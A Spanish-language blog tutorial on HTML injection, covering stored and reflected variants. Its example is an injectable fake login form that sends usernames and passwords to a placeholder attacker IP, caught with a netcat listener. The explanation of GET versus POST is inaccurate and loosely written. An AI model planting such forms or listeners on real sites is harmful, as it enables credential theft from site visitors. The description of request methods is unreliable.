¿Que es la inyección HTML?
Este tipo de ataque nos permite inyectar código HTML malicioso a través de campos vulnerables donde la web espera datos en formas de texto, este tipo de inyección se suelen hacer por dos propósitos, modificar el contenido de la web (ya sea información o el diseño como tal) o robar la identidad de algún usuario haciéndonos pasar por el.
Realizar este tipo de ataque o inyección es bastante sencillo, pues, HTML no es un lenguaje complejo para aprender, si quiere seguir con este tutorial te recomiendo conocimientos previos de HTML. También recomiendo este otro blog: XSS donde hablo de otro método o inyección.
Existen diversos métodos para poder llevar a cabo todo esto y son:
- HTML Almacenado: Este método se le conoce como persistente ya que al inyectar algún script en la pagina “victima” se almacenara permanentemente en el servidor de la web.
- HTML Reflejado (Url, get, post): Este método es lo contrario al anterior conocido también como no persistente, porque el código HTML no es almacenado en el servidor, en este caso la web responde inmediatamente a la entrada maliciosa del atacante o usuario.
Ejemplos.
Usare dos ejemplos para explicar el primer método. Lo que debemos hacer es inyectar el siguiente código en alguna parte de la web, este sera almacenado en el servidor web para que los nuevos visitantes interactúen con el, las credenciales son enviadas a la IP atacante:
1
2
3
4
5
6
7
<form name="login" action="http://ipdelatacante:puerto/test.html">
<table>
<tr><td>Username: </td><td><input type='text' name="username"/></td></tr>
<tr><td>Password: </td><td><input type='password' name="password"/></td></tr>
</table>
<input type="submit" value="Login"/>
</form>
Ahora solo falta configurar netcat para que nos llegue las credenciales a nuestra IP.
1
nc -nvlp 8080
Puse este ejemplo, porque simplemente me gusto lo creativo que es y es uno de muchos que en realidad te dice como es un verdadero ataque de HTML almacenado, para los que estén perdidos explicare su proceso en un pequeño resumen; todo que sea registrado por el cliente sera reenviado a la dirección IP (La de nosotros), como verán nos dice hasta que os usamos y que navegador utilizamos como cliente. También se puede hacer diferentes mas buenas que esta, esto solo es algo básico, pero es para que se den una idea. Todo dependerá de su iframe, hasta pueden usar curl y hacer cosas curiosas.
HTML POST.
Primero explicare lo que es GET y POST de forma resumida para puedan entenderlo: Get: Envía los datos de forma visible mientras que POST: lo envía de forma invisible o oculta.
Al darle Go la información del cliente sera procesada por el servidor de forma invisible y oculta, pero ¿Que pasaría si analizamos esa información que procesamos?, nos podremos dar de cuenta el método (firstname=Hola&lastname=Hola&form=submit) que usa en este caso vemos la utilización de html podemos buscar vulnerabilidades en esto, por ejemplo, usar a favor esto para poner html dentro del inframe html:
HTML Injection - Reflected (GET)
Es todo lo contrario puesto que si se envía la información, pero no de forma invisible sino visible a la vista del cliente o del atacante, por lo tanto podemos usar esto de dos formas implementar nuestro inframe mediante la URL o desde ya por el formulario, ya que la url nos dice como trabaja.
Fin del comunicado, nos vemos.